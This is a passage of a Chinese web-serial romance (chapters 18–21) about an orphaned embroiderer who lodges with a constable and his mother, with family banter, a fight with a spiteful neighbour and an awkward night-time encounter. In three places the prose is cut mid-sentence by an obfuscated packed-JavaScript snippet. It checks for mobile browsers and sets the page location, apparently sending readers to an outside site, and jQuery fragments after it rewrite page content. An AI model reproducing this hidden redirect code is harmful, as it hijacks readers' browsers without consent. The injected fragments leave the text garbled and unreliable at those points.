人的后背确实没长眼睛，但身后人的脚步声和低笑声她能听的一清二楚，声音很近，靠耳朵能大概判断出距离。 不仅如此，前后位置调换后，她终于明白为什么周砚在前面走得好好的会突然慢下来与她并排走了。 原来不遮不掩的注视真的能清晰感受到，现在的她如芒在背，感觉走路都不自然了。 “哎哟！” 宁秋左脚一僵，右脚来不及协调平衡，整个人猝不及防朝前扑去，此时此刻，她心里只剩下一个念头，完了，面子里子都没了！ 说时迟那时快，就在宁秋认命闭眼之际，脖颈处一紧，后脖领被人扯住，一个用力，她朝前扑的动作止住又即刻向后仰，直直撞入一个坚实的怀抱中。 宁秋有一瞬间的窒息感，还没来得及咳嗽，后脖领一松，低沉的男声从头顶传来，带着几分戏谑，他道：“不是说天黑看不清路吗？走那么快做什么，看，摔了吧！” 宁秋：…… “你才摔了。” 宁秋涨红了脸，又羞又恼，嘴硬回了一句，刚站稳就推开周砚后退两步，假装无事发生与他保持距离。 “嗯，前面就到了，好好看路。” 周砚看不见宁秋的脸色变化，却从她的语气里听出了不满，想了想，没与她争辩摔没摔的问题，越过她走在前面，提醒道：“跟着我走，这条巷子我熟，闭着眼走路都不会摔。” “哦。” 宁秋的声音闷闷的，这次没有回怼，乖乖跟在后面。 一刻钟后，他们回到周家，看见宁秋的瞬间，周母粲然发笑，脸上的皱纹仿佛在这一瞬间全部抚平了。 她麻利地推开碍事的周砚，抓着宁秋的手看了又看，说道：“多好的姑娘，难为你了。” “婶娘好。” 宁秋乖乖打招呼，尴尬的脚趾头抠地，面对周母非比寻常的热情，她很想逃。 “你的事，砚哥儿都跟我说了，你且安心住下，不必有压力，以后这里就是你家，我们母子俩就是你的家人。来来来，婶娘带你看看房间，缺什么你直接说，婶娘让砚哥儿置办。” 周母自说自话，压根没给宁秋反应的时间，牵着她来到一旁的客房，烛灯点亮，屋子里的陈设尽数落入三人眼中。 周砚很是诧异，偷偷看了他娘好几眼。 “收拾的匆忙，瞧着简陋了些，你别介意。” “没有，房间很好，我很喜欢。”宁秋的双眼不争气地红了。 自阿爹去世后，她就像那无根的浮萍，辗转好几个地方也没寻到落脚处，有家不能回，再没人关心她吃的好不好，穿的暖不暖。 今夜又一次感受到关怀，泪水终究还是不争气地滑落了。 “哎哟，好端端的，哭什么？一切都过去了，以后的日子会越来越好，应该高兴才是。” 周母一边哄人一边疯狂给儿子使眼色。 周砚看到了，没意会，面上神情不变，心里感慨道：“姑娘家果真是水做的，说哭就哭，都不用提前做准备。” 看到儿子的反应，周母暗骂“不争气的玩意，活该没媳妇”。 她恨铁不成钢地瞪他一眼，只能自己哄了。 18. 相处 莫名其妙被亲娘瞪一眼，周砚摸了摸鼻子，思索片刻后转身走进厨房。 女人家的事他还是不要插手为好，先看看饭菜怎么样，要不要热一热？ 这个时辰，有点饿了呢！ 周母的余光瞥见周砚的动作，顿时气不打一处来，还好宁秋只是情绪上头，暂时控制不住，缓一缓就好了。 “好孩子，没事了。”周母目光温柔，轻轻拍了拍宁秋的手背，“砚哥儿已经去厨房热菜了，走，我们先吃饭，有什么事晚点再说。” “嗯。” 宁秋颔首，不好意思地低下头，在心里疯狂呐喊，疯狂尖叫。 她竟然不争气地哭了，当着周砚母子的面哭，好丢脸啊！ 一个人怎么能捅那么大的篓子，她的脸面，她的形象，通通都没了。 宁秋默默叹息，心里怎么发疯都行，面上却不能表现出来，等疯够了冷静下来，又觉得无所谓了。 反正她更狼狈的样子周砚都见过，也不差这一次，随便吧！ 宁秋跟着周砚回来乃临时起意，并未通知周母，饭菜是按母子俩的食量准备的，不够吃，周砚就自己动手煮一碗面，勉强将肚子填饱。 “今晚没来得及准备，招待不周还望秋秋莫要介意，我们家砚哥儿不挑食，什么都吃，肚子没饱就让他自己解决，你不用管，想吃什么跟婶娘说，明日给你做。” 周母的热情如影随形，一顿饭下来，宁秋也渐渐适应了。 她回道：“是我来的突然，打乱了婶娘的安排，我吃饭也不挑的，能吃饱就行，婶娘不必特意招待我，周大哥给我发月银，应该由我来照顾您才是。” “哎哟，你个小姑娘就是太实诚了，一码归一码，婶娘喜欢你，就想给你做好吃的，跟砚哥儿聘请你照顾我并不冲突。” 周母说着，突然回头瞪了周砚一眼，瞪完面对宁秋时，又重新挂上笑容，变脸之快，让亲儿子周砚都叹为观止。 “婶娘年轻时候就想要个闺女，偏偏砚哥儿他爹是个短命鬼，害我没能如愿，现在啊！就指望砚哥儿能争气点，娶个儿媳妇回来，我定会将她当亲闺女一样疼爱。” 宁秋听到这话总觉得怪怪的，但是又说不上来哪里怪，只尴尬地笑了笑，不发表任何意见，继续听周母念叨。 倒是周砚假咳几声，试图提醒阿娘收敛一点，没成功，反被训了一句。 “嗓子不舒服就去喝水，冲我咳什么？” 周砚幽幽道：“食不言寝不语，您小时候教我的。” 周母一噎，若非顾及宁秋还在，白眼都要翻上天了，没好气道：“就你能，就你记性好。” “那是自然。” 周砚毫不谦虚地附和，见好就收，周母也不再碎碎念了。 一顿饭很快吃完。 宁秋谨记自己的责任主动收拾碗筷，刚开始动手，周母立马凑过来抢着干，两人你来我往，互相客套，半晌儿过去，桌上的碗筷愣是连位置都没挪一下。 眼看宁秋不敌，旁观的周砚幽幽叹了一口气，出手了。 他三下五除二将碗筷全部收入水盆之中，路过宁秋身边时，淡淡地瞥了她一眼，什么也没说。 宁秋一愣，赶忙追出去，正见周砚卷起袖子打水，坚实有力的双臂随着他打水拉绳的动作上下摆动，手臂上的青筋微微凸起，充满肉眼可见的力量感。 她上前小声说道：“周大哥，我来洗，你给过工钱了，这些活应该由我来干，不然工钱我拿着心里不踏实。” “不了，今日不算。” 周砚一个眼神也没给宁秋，言简意赅地回绝了她。 他的声音低沉富有磁性，却少了与人交谈时该拥有的情绪，冷冷淡淡，有种拒人于千里之外的感觉，一下子将宁秋镇住。 尽管她仍旧觉得自己收钱不干活很不妥当，却也没再坚持。 洗碗而已，他爱干就让他干吧，倒省事了。 周家庭院里并没有搭建清洗东西的台子，不管洗什么，都要放在地上。 周砚身量高，块头大，洗东西的姿势对他很不友好，人坐在小矮凳上，身体要蜷缩起来才能够到盆里的碗筷，洗东西费劲不说，动作看起来也十分别扭。 即便如此，他也没有甩手不干或者抱怨，闷声不吭，只一个劲加快手中洗碗的速度，早干完早解脱。 宁秋站在水井边干看着，好几次想蹲下去帮忙，都忍住了。 “哎哟，你别管那些了，回屋看看，熟悉一下环境，走吧走吧！” 周母瞥了儿子一眼，嘴角上扬，拉着宁秋去客房，两人不知道在屋中嘀嘀咕咕说了什么，出来后，周母又莫名其妙给了周砚一记白眼。 “怎么了？”周砚问。 “你啊你，终于知道表现了，倒不是一无是处。” 周母压低声音夸一句，眼中是藏不住的喜意，“秋秋对你的印象很好，方才一直夸你，我损你时，她脸色都不自然了，磕磕巴巴帮你说好话，啧啧，我瞧着有戏。” “娘，您收敛一点吧！莫要在人家面前胡言乱语，挟恩图报非君子所为，况且我也没想过跟宁姑娘有什么。” 周砚面上露出些许不耐烦，继续说道：“如今同住一个屋檐下，抬头不见低头见，我不想将关系闹得太难看，您若执意胡来，我与宁姑娘的合作就没必要进行下去了，我看您好得很，并不需要人照顾。” 他的话平静却很有力量，周母知晓儿子是说一不二的性子，此时心中虽有气，却不敢触他的霉头，他说到做到，真杠起来，连亲娘的脸面都不给。 “晓得了，你自己心中有数就成，我不是那种没有分寸的人，用不着你特意提醒。唉！儿大不由娘，以后我也懒得管你了，是成家立业，还是孤寡一辈子都跟我没关系，反正我有你养老，不担心晚年凄凉，你自己的晚年自己决定咯！” 周母轻哼一声，转头回了自己屋。 周砚闻言无奈地摇摇头，没有放在心上，将自己收拾干净也回屋睡觉了。 他们都没注意到客房窗边的动静，宁秋悄悄躲在窗缝边将母子俩的互动看在眼里，没听清具体说了什么，但从只言片语中也不难猜测对话与她有关。 她心思敏感，此时不免多想一些，只愿事情都往好处发展吧！ 一夜平静。 宁秋睡了多日以来第一个好觉。 翌日拂晓，天空刚透出一抹鱼肚白，宁秋就被一阵水声吵醒了。 她迷迷糊糊睁开眼，脑子混混沌沌，无神的双眸盯着模糊的床帐顶发呆，四下漆黑，连萦绕在鼻尖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594465|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清浅气味都让她感到陌生，一时间分不清今夕是何夕了。 “秋秋，你醒了吗？赶紧起来吃早饭，不然上工要迟到，管事会扣银子的。” 周母的声音在门口响起，宁秋终于想起来自己在哪了。 “哎，这就起。” 她赶忙应答，声音略有些沙哑。 “快点哦！从家里到金绣阁要走好远。”周母贴耳到门上，听到里面有动静才停止催促。 一刻钟后，宁秋大步踏入厨房，迎面撞上周砚的目光，一触即离，面上不自觉染上了粉，还好天色未完全亮，厨房光线昏暗，对方应该看不清她面色的变化。 “周大哥，婶娘。” “嗯。” 周砚随意应一声，端起海碗吸溜一口，碗里的稀粥瞬间少一层。 周母不满地看了儿子一眼，招呼宁秋过来坐下，说道：“秋秋来这，婶娘给你盛好了，快些吃，一会儿让砚哥儿顺路送你。” “其实不用劳烦周大哥，我认得路，自己去就可以了，别耽误他的正事。” 宁秋乖乖坐下，小口小口地喝稀粥，没动碟子里的鸡蛋和馒头。 她是周砚聘请来照顾婶娘、帮忙干活的小工，结果第一天就睡过头，还要婶娘喊吃饭，实在没脸吃好东西，喝碗粥她就满足了。 周家的早饭很丰盛，鸡蛋一人一个，馒头按食量分好，配上一碗稀粥，咸菜随便吃。 “秋秋，你吃鸡蛋啊，正是长身体的时候，别舍不得吃。” 周母见宁秋拘谨不敢动筷，干脆将鸡蛋壳剥好直接放到她的碗里，还一边催促道：“我和砚哥儿吃过了，这个留给你的，馒头也吃，对身体好。” “多谢婶娘。”宁秋依旧小口小口吃东西，刚喝半碗粥，周砚那边就已经吃饱放下筷子了。 宁秋见状心里不免着急起来，吞咽的速度加快不少，一碗粥和一个鸡蛋下肚，她终于吃到八分饱了。 许是吃得太快肠胃不适应，宁秋感觉肚子里咕噜咕噜，很不舒服，但她不想让周砚等太久，生生忍住不适感，急切地说道：“周大哥，我吃饱了，可以出门了。” “你馒头还没吃，不着急，慢慢来。” 周砚看了馒头一眼，并没有起身，好似宁秋不将东西吃完他就不走似的。 “我，我吃不下了。” 其实宁秋也馋馒头，奈何时间不足，来不及吃，只能别过脸，催促周砚出门。 “你确定饱了？猫儿都比你吃得多。” 周砚没想到姑娘家吃那么少，忍不住吐槽一句，心里根本不相信宁秋吃饱了。 他淡定起身，顺手抓起那个馒头塞到宁秋的手中，不容拒绝地说道：“带着，路上吃，走吧！” 话落，他也不等宁秋的反应大步离开。 宁秋看看手中的馒头，又看看男人高大的背影，匆匆与周母道别便小跑着追上去了。 晨间的老槐巷远比宁秋想象中还要热闹，大多数邻居都是这个时辰出门，大家伙看见宁秋与周砚一起出门都很诧异。 有分寸的人打声招呼就匆匆分别，少部分比较八卦的，看见宁秋的瞬间就好似变成了瓜田里的猹，闻着味凑上来问东问西。 周砚不耐烦应付这些，冷着脸三言两语就将人打发了。 19. 打趣 有周砚在，根本轮不到宁秋说话，宁秋也心安理得地躲在后面，悄摸摸啃馒头。 馒头微甜，纯白面制作又香又软，她吃的格外满足，同时还不忘用余光打量走在前面的周砚。 从老槐巷到府衙一共有两条路，近道往临时菜市场走，再拐水月庵那边，约摸半个时辰就能到，也是周砚平时常走的路。 另一条道途径主街闹市区，步行所花时间比近道多一柱香。 换作以往，周砚定然毫不犹豫操近道，时间缩短能省不少事，今日却不行。 今日一大早，阿娘就在他的耳边不停念叨，让他主动点，机灵点，好好表现，说来说去都是些老生常谈的话题。 他听得心烦，忍不住开口反驳，只一两句，他娘见形势不对立马就改口了。 “哎哟，娘都知道，你对秋秋没有那个意思，放心，娘不是催你成亲，只是心疼秋秋一个小姑娘。” “外面什么乱七八糟的人都有，她年轻又生的好看，独身摸黑出门，难保不会被坏人盯上，斜对门不就有一家虎视眈眈的人么？” “就算娘没有聘秋秋做儿媳妇的好命，你年长她五岁，也算是兄长，出于安全考虑，难道不应该顺路送她上工吗？你扪心自问，真放心她一个人走那么远的路吗？” 周砚被几连问噎得说不出话，即便知道他娘的本意并非如此，也不能否认她说的很有道理。 他娘哪是说自己没好命，分明是在点他呢！庞家人的存在也确实是个隐患。 本来挺放心的，掰扯一通，还真不放心起来。 另外，他心中的顾虑要比周母多一些，不仅是安全问题，还有后期可能出现的舆论问题。 名声对于姑娘来说太重要了，而老槐巷最不缺的就是喜好八卦的人，有点风声露出，不到两日就能翻改好几个版本，多离谱都有可能。 周砚认真考虑过解决办法，提议让他娘认宁秋为干闺女，被他娘毫不犹豫地拒绝了。 不过她没有把话说死，还存着将周砚与宁秋凑对的念想，等以后事情发生实在没了办法，或许她就能接受认干闺女的建议了。 周砚不急，事情不是还没发生么？想太多也没用，让他娘自己去折腾，多撞几次南墙自然就回头了。 他一边走一边想事情，突然察觉到身后的脚步声有异动，思绪立马回笼，侧头疑惑看过去。 “周大哥，我听说去府衙走小菜市那条路比较近，你没必要因为我特意绕远路，浪费你的时间了。我自己知道怎么去金绣阁，住客栈的时候每天都走，熟的很。” 宁秋不习惯麻烦别人，得到的好越多，心里就越过意不去。 这句话她在吃早饭的时候就想说了，一直没找到合适的机会，现在巷子里只有她和周砚，话说出口也没想象中难为情。 周砚闻言停下脚步，转身正视面前的姑娘，观察她的神情反应。 “怎……怎么了？”宁秋有点底气不足，对上周砚的目光总觉得心慌，下意识跟着停下脚步。 周砚见她紧张，主动后退一步，让二人之间的距离更舒适。 他动了动唇，片刻后才正色道：“宁姑娘，我并非特意送你，只是碰巧有个案子在那边，顺路罢了，你莫要在心中给自己增添负担。” “原来是这样。”宁秋没信，不过得到这样的回答面上还是露出了尴尬的笑容，“那就好，我就怕给你添麻烦。” “放心，即便是特意送你也不麻烦。”周砚不傻，怎会看不出她的顾虑，当即安抚道：“我娘比较热心肠，喜欢谁就对谁好，她的付出都是自愿的，你不必有心理负担。再说了，我们母子还不至于分不清好赖，对你好就说明你值得，明白吗？” 好的关系需要双方一起维护才能更长久，宁秋懂得感恩，也不会觉得别人的付出理所应当，是个很好的姑娘，周砚不觉得对她好有什么不妥。 “行了，你们小姑娘就是心思多，一桩小事放在心里也能转八百个弯，纠结来纠结去，小事也要变成大事，麻烦。” 周砚忍不住吐槽，语气里还带了一丝丝嫌弃，而后做了个很大胆且让宁秋内心震动的事。 他突然伸手在宁秋头顶揉了揉，一向淡漠严肃的双眼瞬间亮起，又随着收回来的手迅速敛下去，紧接着他用平静的口吻提醒道：“走快点，别耽误了正事。” 说完，他紧了紧刚刚揉宁秋头发的手掌，将双手背到身后，抬头挺胸大步朝巷口走去，心情分外愉悦，连他自己都没意识到嘴角已经不自觉勾起了。 宁秋怔愣在原地好一会儿，抬手摸了摸自己的头，仿佛还能感受到周砚手心残存的热意，她后知后觉意识到什么，脸刷一下红透了。 “你还不走，要等金绣阁的管事过来扣银子吗？” 周砚的声音继续在巷子里回荡，听起来很气人，与宁秋印象中的周大哥完全不一样，很难想象，这样的玩笑话会从他嘴里说出来的话。 宁秋一个激灵回过神，狠狠瞪了他后背一眼，忙小跑追上去，嘴里嘀嘀咕咕道：“陈管事才不会扣我的工钱，我动作快，做工好，就是去晚了也能完成任务。” “哦？那你还挺厉害的。” 周砚敷衍地回一句，声音慵懒，调侃的意思很明显，话音落下没多久，也不知哪一环触动了他的笑点，竟没忍住闷笑出了声音。 宁秋对此感到莫名其妙，又因他的调侃生出些许恼意，当即冷哼一声，决定不再理会他，闷着头往前冲，二人之间很快拉开距离，整整一个时辰都没再说一句话。 终于抵达金绣阁门口，宁秋停下脚步回头看向周砚，朝他挥了挥手，喊道：“周大哥，我先进去了！” 说着，也不等周砚的回应直接进了铺子，眨眼的功夫，人影都看不见了。 周砚动了动抬至半空的手，默默收回来，随即恢复办差时的严肃脸，快步离去。 金绣阁内，绣娘们各司其职，看到宁秋走进来纷纷跟她打招呼，还关切地询问她找房子的进度。 周家的情况宁秋不便与别人多说，就点点头，只道已经有落脚处了，让她们别担心，众人又寒暄了几句才开始进入工作状态。 因宁秋的手中还接着照顾周母的活，她今日做绣活格外专注，连工友们互相聊八卦都没有参与，指尖翻飞，一针一线落到绣布上，同样数量的任务竟比平时还要早半个时辰完成。 陈管事一边检查宁秋绣品的质量，一边关切地询问道：“宁娘子，你今日的速度超乎寻常的快，可是遇到什么急事了？是否需要帮忙？” “我没事啊！”宁秋娇俏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603459|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑，也没瞒着陈管事，道：“一会儿我还有事，朋友请我去照顾他的母亲，帮忙干点家务活，有工钱拿，还包早饭和晚饭，嘿嘿，这份活对我来说很及时，也很重要，咱们铺子应该不限制绣娘们接别的活吧？” 陈管事面露诧异，不过她清楚宁秋的处境倒是没多说什么，叮嘱她道：“没难处就好，接多少份活是你自己的事，只要不接存在竞争关系的绣活，我和掌柜都不会管，你自己注意休息，分配好时间就成。” “那是自然，多谢陈管事。”宁秋毫不犹豫地应承。 陈管事很快检查完宁秋做的绣品，命铺子里的学徒将绣品按分类收好，才冲宁秋摆摆手，笑道：“绣品没问题，你该干嘛就干嘛去吧！” “好，多谢陈管事，我先回家了。” 宁秋恭恭敬敬行了一礼，收拾好自己的东西与其他绣娘道别，匆匆赶回周家。 她脚程还算快，回到周家才申时正，家中没人，周砚这会儿应该还在府衙，周母也不知道去哪里会友，喊了好几声也不见回应。 时辰尚早，宁秋便将庭院里里外外打扫一遍，连门口也扫干净了，还喂了鸡，干完这些再看天色，觉得时辰差不多，她才挎着菜篮子准备去菜市场买菜。 然而她运气不太好，出门正遇上同样挎着菜篮子的庞母。 老婆子黑着脸，看到宁秋从周家出来立马出声阴阳怪气，眼神中的算计和恶毒都快溢出来了。 “哟，我说是谁呢，原来是克死全家的丧门星，也就对门瞎了眼，好日子不过，偏要给自己找麻烦，也不怕被丧门星克死。” 宁秋抓紧手中的菜篮，努力控制住自己不往那边看，全当什么也没听见。 “不识好歹的白眼狼，别以为你不吭声事情就算完了，要不是因为你，我儿也不会还不上债，更不会被赌坊的人追着打，家里都被搬空了。” 庞母的话实在太不要脸，明明是庞桥自己赌钱输光了家底，反倒将问题全部推到宁秋身上，如此奇葩的脑回路，真是世间罕见。 宁秋被气笑了，不过她不想惹麻烦，依旧不予理会。 “呸，没教养的玩意，长辈说话也不吭声，又聋又哑，哎，死丫头，听见我说话没有？叫你呢，装聋作哑给谁看啊？” 庞母见宁秋不理她更是气不打一处来，骂骂咧咧就要上前扯宁秋，被她躲开了。 “你干嘛？别拿你的脏手碰我。” 宁秋嫌恶地避开，加快了走路的速度。 她知道庞母是个泼皮蛮横的，试图躲开，然而还是低看了庞母的无耻劲。 只见其一边叫骂，一边凭着蛮劲冲上来拉扯，满脸狰狞，眼神中的狠辣看得人心惊。 “死丫头，贱蹄子，都怪你，要不是你，我儿也不用东躲西藏有家不能回，他要是有个三长两短，老娘跟你拼了。” 宁秋还是太讲道理了，犹豫的功夫，肩膀已经挨庞母捶了好几下，疼得她五官扭曲，再也绷不住了。 “呸，老不死的，你儿子欠赌债关我什么事，又不是我让他去赌的，别说他只是藏起来了，就是死了也跟我没关系，要怪就怪你没教好孩子，养出一个丧心病狂想卖别家闺女的恶心玩意。” 宁秋甩开庞母，随手将菜篮子一丢，挥起拳头就朝庞母捶去。 20. 尴尬 她挥拳没有章法，跟个疯子似的，乱喊乱捶，什么君子之风，淑女之仪，通通都抛开。 阿爹在世时，常跟她说世间好人多过恶人，要与人为善，广积福德，做个明理善良的姑娘。 以前她有阿爹护着，没见过什么人间险恶，对此坚信不疑，直到阿爹离世，她成了别人眼中的“香饽饽”，各种麻烦找上了她，恶意在她面前直观放大，她逃她躲，她有家不能回，明明她已经很惨了，可那些人、那些事就像认准了她一样，巴着她不放，不将她逼上绝路不罢休。 渐渐的，宁秋明白纯粹的善良并不能助她摆脱困境，反而会让心存恶念的人觉得她好欺负，变本加厉地伤害她。 “呸，让你骂我，让你打我，让你个老妖婆骂我阿爹……” 宁秋气狠了，嘴上骂骂咧咧，对着庞母又踢又打。 庞母年纪大腿脚还不方便，哪里是宁秋的对手？疼得她嗷嗷叫，连站都站不稳了。 正在这时，听到声音的邻居们纷纷出来查看什么情况，周母也在其中，看到打人的是宁秋顿时瞪大了双眼，不可置信地惊呼道：“秋秋？” 宁秋一愣，回头循着声音看过去，小脸一白，抬起的巴掌打也不是，不打也不是，有些不知所措。 就在她以为庞母会责骂她时，便见庞母一拍大腿，朝着打架的两人冲过来，一边骂道：“好你个杀千刀的老庞婆，嚣张跋扈欺负到我家孩子头上了，今日不将你打服我就不叫王桂花！” 周母平日总是笑盈盈一副很好相处的模样，突然发飙，不仅吓了宁秋一大跳，熟识的邻居见状也纷纷退避，就怕靠太近被她误伤。 “啪啪！” 庞母还没反应过来，脸上就挨了两巴掌，她自知不敌，当即便大哭哀嚎起来，一边哭一边向其他人求救，那模样很是凄惨。 宁秋生气归生气，可下手还是很有分寸的，不像周母这般大开大合，瞧着实在吓人。 担心闹出人命，宁秋反应过来后第一时间上去抱住周母的腰，将她往边上拦，还一边劝道：“婶娘，好了别打了，您消消气。” 其他邻居见状也赶忙上前拉架，跟着劝道：“周家的你消消气，都是邻居，抬头不见低头见，有什么误会好好说，打架要不得，别真闹出人命了，为一点小事搭上后半辈子不值当，消消气，有话好好说。” “呸，老娘跟这疯婆子没什么好说的，上梁不正下梁歪，一家子坏东西，你们最好也离他们远些，免得被连累。” 周母说着又啐了庞母一口，放狠话道：“以后出门躲着点，不然老娘见你一次就打你一次，不要脸的老货，自己不是个玩意还好意思欺负我家孩子，呸！” “秋秋别怕，我们回家。” 宁秋看向被周母牵着的手，心里暖融融，那股气散了，不由自主露出一个笑容。 邻居们目送周母二人回家，听到大门关上的声音都不约而同松了一口气，随即好几个人一起将地上不断哀嚎的庞母扶回家了。 善后的邻居前脚刚走，后脚庞家院子就传出一阵打砸声，还有庞母暴怒的谩骂。 秀云闷声不吭，任由庞母在她身上又掐又打，泪水默默滑落，心中对所谓家人的怨念更深了。 …… 周家庭院内。 宁秋低着头，如同一个做错事的孩子安安静静站在周母的面前，等待她的发落。 “怎么，刚刚不是挺厉害的吗？小巴掌啪啪作响，我瞧着都觉得很爽呢！” 周母半开玩笑继续说道：“别站着了，有什么话咱娘两坐下来慢慢说。” “对不起，婶娘，我错了，我……我不该动手打人，给您添麻烦了。” 宁秋双眼一闭主动认错，已经做好搬家的准备了，接下来不管周母说什么她都能接受，毕竟是自己冲动在先，惹下麻烦乃不争的事实。 正在她忐忑不安准备摆烂之际，忽而听到周母扑哧笑出声，当即茫然抬头看过去。 “瞧你吓的，屁大点事道什么歉，再说了，你有错吗？错在哪我怎么不知道？” 宁秋尴尬笑笑，不知该如何回答。 “好了，我与你相处的时间虽短，但也能看出你不是那种冲动行事的孩子，二三十年的老邻居，庞家老虔婆什么样我再清楚不过，你不必解释，也不用道歉，挨打也是她活该。” 周母冷哼一声，不打算在这件事上过多掰扯，便转移话题对宁秋说道：“午时砚哥儿回来交代过，他要出城公办，今晚赶不回来吃晚饭了，咱娘俩食量不大，煮饭做菜太麻烦还容易浪费，一人一碗面对付一下吧！” “好。”宁秋乖巧应下。 见周母不仅不追究，还反过来安慰她，宁秋不禁松了一口气，同时觉得心头暖暖的，更坚定自己的选择了。 她对吃食没什么讲究，能填饱肚子就行，便开怀应声道：“我现在就去煮。” 晚饭很简单，一人一碗鸡蛋面，两人都吃的很香，闲谈之间关系也更亲近了。 周母没啥事睡得比较早，宁秋负责家务活收尾，收拾完已经到了戌时。 她简单梳洗后躺到床上，看着藕荷色的床帐不自觉露出满足的笑容。 一个人的生活真的会突然间变好。 就像现在，她虽然没能完全摆脱那些糟心事，但是日子明显越来越安稳了，好的开始，未来也会越来越好。 烛灯一灭，宁秋怀着对未来的美好向往沉沉入眠。 夜色如墨，深秋的凉意通过门窗瓦缝一点点渗透进屋中，使得熟睡中的宁秋不自觉裹紧了身上的被子。 她脸颊软肉紧贴着枕头，嘴巴微微嘟起，时不时吧唧一下，睡得安稳又香甜。 突然，屋外传来一声“咔哒”，她的睫毛随之颤了颤，隐隐有睁眼的趋势，又实在抵不过浓重的困倦很快恢复了平静。 与此同时，院中刚落地的周砚扶着墙缓缓站直身体，确认没有吵醒家里人才放心。 他并非第一次翻墙回家，每次都从这面墙落地，他娘很清楚，所以从不会将杂物放到这面墙来。 今日却有不同，墙下立了扫把，他跳下来时不小心将其撞倒了，力道太重，扫把摔到地上发出异响，声音在寂静的深夜里显得格外清晰突兀。 “扫把怎么放这里？”周砚不解，小声嘀咕一句。 借着月亮清冷寡淡的光线，他将扫把捡起来重新放回原位，随即熟门熟路摸到厨房给自己煮一碗热腾腾的面，驱散裹挟一路的寒凉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610469|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为了身体考虑，一向主张洗冷水强身健体的周砚最终还是决定烧一锅热水，舒舒服服洗个热水澡再休息。 他贪图便利没有进浴间，就在水井边上兑了两桶温水，上衣一脱，露出精壮有力的胸膛，双臂肌肉随着他的每一个动作起起伏伏，力量感喷薄而出。 温水一瓢一瓢自他的肩膀、脖颈落下，发出哗哗水声，白色的裤子湿水后紧紧贴着他修长的双腿，汩汩热气蒸腾而上，渐渐在院子里弥漫开来。 宁秋睡眼惺忪，听到声音迷迷糊糊爬起床开门查看，只一眼，强大的视觉冲击令她整个人怔在原地。 入目是氤氲的热气，缓缓升腾，热气最中间站着一名高大的男子，他有力的双臂上下摆动重复着擦身的动作。 在他旁边点了一个灯笼，光线昏黄，笼芯烛火时不时跳动，在它的映衬之下，男子泛着水光的身体也忽明忽暗，让人看不真切。 朦朦胧胧，恍恍惚惚。 宁秋懵了，听到开门声立马回头的周砚也懵了。 他下意识捞起堆放在旁的脏衣服迅速挡住小腹下方，隔着一段距离与宁秋尴尬对望。 一息过后，宁秋绷着涨红的脸“砰”一声关上房门，手中烛台熄灭，屋子里陷入黑暗。 她的背靠着屋门，心跳加速，脑海中不断循环方才看到的劲爆一幕，双颊也越发滚烫起来。 “又不是没见过光膀子的男人，真没出息。” 宁秋轻轻拍了拍自己的脸颊，小声嘀咕，试图说服自己，原本浓重的睡意也在此时此刻彻底清醒。 她说不清楚心里是什么感觉，只知道脑子已经乱成浆糊了。 不止宁秋如此，周砚的脑子也很乱，乱着乱着，就成空白一片了，呆愣好一会儿才缓过神来。 嗐，忘记家里还有个啥也不清楚的姑娘了。 周砚有些懊恼。 并不是说他忘记家里多了一个人，而是他经常半夜回家，有时候图方便就会像今夜这般在水井边直接冲洗，他娘清楚他的习惯，听到声音也懒得理会。 正因如此，他理所应当地认为宁秋也不会管。 这下误会大了，他清清白白好男儿，也不知道对方有没有看到不该看的地方。 周砚心中五味杂陈，唇瓣紧抿，随便披上外衣，提着剩下的一桶水默默朝浴间走去。 今夜过后，他不能再偷懒，坏习惯也要果断改掉了。 庭院里的水声停了，开始响起其他声音，按方位判断，在浴间那边。 宁秋扒着门缝看了一会儿，什么也没看见，面上的热意消退，她轻叹一声，摸黑回床上继续睡觉。 许是冲击太大，她躺床上好半晌儿都睡不着，一闭上眼睛，立马浮现周砚光着膀子的身影，根本忘不掉，思绪挣扎了不知多久，她终是抵不住困倦沉沉睡去。 梦里，她又看见周砚了，对方不仅没躲开，还笑盈盈地冲她招了招手，唤她“秋秋”。 那声音低沉富有磁性，充满了说不清道不明的诱惑力，一入耳，她便不受控制的红了脸。 宁秋不再犹豫，依旧砰一声关上了门，将诱惑拒之门外了。 与此同时，她猛地睁开双眼，看着熟悉的床帐顶发呆。 21. 逃避 梦境与现实的双重冲击让宁秋久久无法回神，她后知后觉的发现，自己又起迟了。 这个念头刚起，门外便响起周母的提醒，“秋秋，赶紧起来吃早饭，上工迟到管事会扣工钱，快点。” 依旧是差不多的提醒，宁秋哭笑不得，认命地应声：“哎，起了起了。” 她不急不缓地下床，穿好衣裳，开门前稍稍犹豫了一瞬，猛地打开。 还好还好，没有看见熟悉的高大身影。 